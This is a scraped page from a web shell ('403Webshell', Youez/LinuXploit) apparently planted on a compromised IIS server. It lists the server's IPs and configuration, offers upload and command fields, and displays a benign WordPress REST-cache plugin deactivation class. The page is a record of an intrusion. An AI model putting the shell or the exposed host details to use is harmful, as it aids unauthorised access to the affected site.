403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/panel.parsmega.com/wp-content/plugins/wp-rest-cache/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/panel.parsmega.com/wp-content/plugins/wp-rest-cache/includes/class-deactivator.php
<?php
/**
 * Fired during plugin deactivation
 *
 * @link: https://www.acato.nl
 * @since 2018.1
 *
 * @package    WP_Rest_Cache_Plugin
 * @subpackage WP_Rest_Cache_Plugin/Includes
 */

namespace WP_Rest_Cache_Plugin\Includes;

/**
 * Fired during plugin deactivation.
 *
 * This class defines all code necessary to run during the plugin's deactivation.
 *
 * @package    WP_Rest_Cache_Plugin
 * @subpackage WP_Rest_Cache_Plugin/Includes
 * @author:    Richard Korthuis - Acato <richardkorthuis@acato.nl>
 */
class Deactivator {

	/**
	 * Deactivate the plugin. Clear cache and delete Must-Use plugin.
	 *
	 * @return void
	 */
	public static function deactivate() {
		Caching\Caching::get_instance()->clear_caches( true );
		if ( file_exists( WPMU_PLUGIN_DIR . '/wp-rest-cache.php' ) ) {
			$active = false;
			if ( is_multisite() ) {
				$current_blog_id = get_current_blog_id();
				$site_ids        = get_sites( [ 'fields' => 'ids' ] );
				foreach ( $site_ids as $site_id ) {
					if ( $current_blog_id === $site_id ) {
						continue;
					}
					switch_to_blog( $site_id );
					$active = is_plugin_active( 'wp-rest-cache/wp-rest-cache.php' );
					restore_current_blog();
					if ( $active ) {
						break;
					}
				}
			}
			if ( ! $active ) {
				wp_delete_file( WPMU_PLUGIN_DIR . '/wp-rest-cache.php' );
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit